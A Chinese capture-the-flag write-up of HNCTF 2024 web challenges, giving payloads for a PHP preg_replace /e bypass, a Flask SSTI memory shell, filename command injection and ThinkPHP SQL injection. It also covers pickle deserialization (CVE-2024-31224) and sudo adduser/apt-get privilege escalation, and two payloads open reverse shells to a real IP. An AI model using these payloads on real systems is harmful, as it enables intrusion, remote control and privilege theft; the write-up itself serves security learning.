【Web】HNCTF 2024 题解(部分)

目录

Please_RCE_Me

ezFlask

GoJava 

ez_tp

GPTS


Please_RCE_Me

<?php
if($_GET['moran'] === 'flag'){highlight_file(__FILE__);if(isset($_POST['task'])&&isset($_POST['flag'])){$str1 = $_POST['task'];$str2 = $_POST['flag'];if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){die('hacker!');}else{preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);}}
}else{echo "moran want a flag.</br>(?moran=flag)";
}

preg_replace() /e代码执行漏洞-CSDN博客

正则开启了大小写匹配,可以大小写绕过

黑名单ban得有点多,建议直接转接绕过

task=$_POST[1]($_POST[2]);&flag=Please_give_me_flag&1=system&2=tac /f*

 或者读文件

在线16进制字符串转换工具 - 在线工具网

task=var_dump(file_get_contents(hex2bin("2f666c6167")));&flag=Please_give_me_flag

ezFlask

无回显,想着打flask内存马

新版FLASK下python内存马的研究

flask_memory_shell/README.md at main · iceyhexman/flask_memory_shell · GitHub

一种payload:

cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}")

/shell?cmd=grep+-rl+"flag{"+/etc

/shell?cmd=cat+/etc/jaygalf

另一种payload:

cmd=__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('cat /etc/jaygalf ').read())

 

GoJava 

访问./robots.txt 

 ./main.go是403访问./main-old.zip下载附件

可以看到对文件名做了一定的waf

题目是对java文件进行编译操作,就是系统命令执行javac拼接文件名

1.java;echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjEi | base64 -d | bash;1.java

不难想到可以在文件名处进行可以恶意命令拼接

成功反弹shell

 

查看备忘录文件,用该密码成功su root 

读flag

ez_tp

下载附件,看到tp版本是3.2.3

结合源码,能看出考的是sql注入 

thinkphp3.2.3 SQL注入漏洞复现_thinkphp3.2.3漏洞利用-CSDN博客 

payload:

/index.php/home/index/h_n?name[0]=exp&name[1]==-1 union select 1,flag from flag

 

GPTS

这种gpt题,一般都是搜的新trick

CVE-2024-31224 RCE 分析 

按照博客里去复现就可,把弹计算器换成反弹shell

import base64opcode = b'''cos
system
(S'bash -c "{echo,cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTI0LjIyMi4xMzYuMzMiLDEzMzcpKTtbb3MuZHVwMihzLmZpbGVubygpLGYpZm9yIGYgaW4oMCwxLDIpXTtwdHkuc3Bhd24oImJhc2giKSc=}|{base64,-d}|{bash,-i}"'
tR.'''
opcode = base64.b64encode(opcode).decode("utf-8")
print(opcode)

成功反弹shell 

 查找由用户 ctfgame 拥有并且对其可读的所有文件

find / -type f -user ctfgame -readable 2>/dev/null

 

查看/var/mail/ctfgame,读邮件中的敏感信息

切换到ctfer登录

没权限看/etc/sudoers ,用sudo -l

sudo -l  

 

这段回显表明用户 ctfer 在主机 hnctf-01hxryr832qjjc3astkt4rw4dw 上具有以 root 用户身份执行 /usr/sbin/adduser 命令的特权,而且无需输入密码,但被限制不能以 sudo 用户或 admin 用户身份执行该命令。

/usr/sbin/adduser 是一个方便的命令行工具,用于在 Linux 系统中管理用户账户。 

 添加一个root组用户

sudo adduser test -gid=0

 

以root组用户test登录

 

cat /etc/sudoers

 

看到kobe,可以apt-get提权

现在我们要以kobe身份登录

先切回ctfer,sudo adduser kobe创建一个kobe用户

sudo adduser kobe

再以kobe身份登录,apt-get提权

SUDO授权与提权 | 云安全攻防入门

sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/bash -i"

cat /root/f*/f*

 拿到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/700739.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深度学习入门到放弃系列 - 阿里云人工智能平台PAI部署开源大模型chatglm3

通过深度学习入门到放弃系列 - 魔搭社区完成开源大模型部署调用 &#xff0c;大概掌握了开源模型的部署调用&#xff0c;但是魔搭社区有一个弊端&#xff0c;关闭实例后数据基本上就丢了&#xff0c;本地的电脑无法满足大模型的配置&#xff0c;就需要去租用一些高性价比的GPU机…

DOM重点核心(注册事件+DOM事件流)

目录 1.注册事件 注册时间概述 addEventListener() 删除事件 2.DOM事件流 DOM事件流理论 事件对象 事件对象的常见属性和方法 e.targe 和 this的区别 阻止默认行为 阻止冒泡 事件委托 禁止右键菜单和禁止选中文字 获得鼠标的坐标&#xff08;可视区、页面、浏览器…

物联网应用开发--STM32与新大陆云平台通信(云平台控制开发板上蜂鸣器、LED)

实现目标 1、掌握云平台执行器的创建 2、熟悉STM32 与ESP8266模块之间的通信 3、具体实现目标&#xff1a;&#xff08;1&#xff09;创建5个执行器&#xff1a;蜂鸣器&#xff0c;LED1&#xff0c;LED2&#xff0c;ED3&#xff0c;LED4;&#xff08;2&#xff09;执行器能对…

洁太司检测试剂盒:肝癌早诊新利器,共筑健康未来

随着科技进步及医疗技术的不断创新&#xff0c;人类对疾病的早期诊断和治疗提出了更高的要求。 先思达生物近期推出的“洁太司-寡糖链检测试剂盒”&#xff0c;在原发性肝细胞癌的诊断领域实现了重大突破&#xff0c;获得了国家药品监督管理局&#xff08;NMPA&#xff09;的三…

怎么得到所有大写字母/小写字母组成的字符串

有时候&#xff0c;可能需要获取a~z、A~Z组成的26个字母的字符串&#xff0c;这篇文章介绍一种简单的方法。 只需要几句简单到不能再简单的代码&#xff01;你不会还在傻傻地一个个字母敲吧~ /*** author heyunlin* version 1.0*/ public class Example {/*** 小写字母*/priv…

css如何实现边框模糊的效果

其实并不难&#xff0c;用属性 filter: blur(数字px); 即可。效果如下&#xff1a; 图上的圆形内有色彩的渐变&#xff0c;同样也是用filter: blur(数字px); 实现的&#xff0c;代码如下&#xff1a;、 <template><div id"root" :style"{}">…

前端已死? Bootstrap--JS-jQuery

目录 Bootstrap--JS-jQuery 1 jQuery基础 介绍 基础语法&#xff1a; $(selector).action() 1.1 安装jQuery 地址 基础语法&#xff1a; $(selector).action() 2 jQuery事件 事件处理程序指的是当 HTML 中发生某些事件时所调用的方法。 jQuery常用事件 2.1 鼠标事件…

今日分享丨从简单传输到大文件分片上传

在数字化信息时代&#xff0c;文件传输技术的重要性不言而喻。从个人用户日常的文档、图片分享&#xff0c;到企业级的数据交换、云服务存储&#xff0c;再到科研领域庞大的数据集传输&#xff0c;文件传输技术的应用场景日益广泛&#xff0c;需求也日益增长。从简单的文本文件…

PingCAP 戴涛:构建面向未来的金融核心系统

作者&#xff1a;戴涛 导读 近日&#xff0c;平凯星辰解决方案技术部总经理戴涛在 2024 数据技术嘉年华活动中&#xff0c;做了主题为“构建面向未来的金融核心系统”的分享&#xff0c;本文为戴涛演讲实录的全文。 文章分析了中国金融行业的发展趋势&#xff0c;并且基于这…

【LLM第五篇】名词解释:prompt

1.是什么 提示工程&#xff08;Prompt Engineering&#xff09;是一门较新的学科&#xff0c;关注提示词开发和优化&#xff0c;帮助用户将大语言模型&#xff08;Large Language Model, LLM&#xff09;用于各场景和研究领域。 掌握了提示工程相关技能将有助于用户更好地了解…

算法练习day8

反转字符串 代码随想录 0344.反转字符串 344. 反转字符串 - 力扣&#xff08;LeetCode&#xff09; &#xff08;用时&#xff1a;0.05小时&#xff09; 思路 这道题很简单也很经典。 字符串的反转方法有很多&#xff0c;我这里是用for循环通过数组长度和下标计算来交换。…

【计算机毕业设计】基于SSM+Vue的线上旅行信息管理系统【源码+lw+部署文档+讲解】

目录 1 绪论 1.1 研究背景 1.2 设计原则 1.3 论文组织结构 2 系统关键技术 2.1JSP技术 2.2 JAVA技术 2.3 B/S结构 2.4 MYSQL数据库 3 系统分析 3.1 可行性分析 3.1.1 技术可行性 3.1.2 操作可行性 3.1.3 经济可行性 3.1.4 法律可行性 3.2系统功能分析 3.2.1管理员功能分析 3.2.…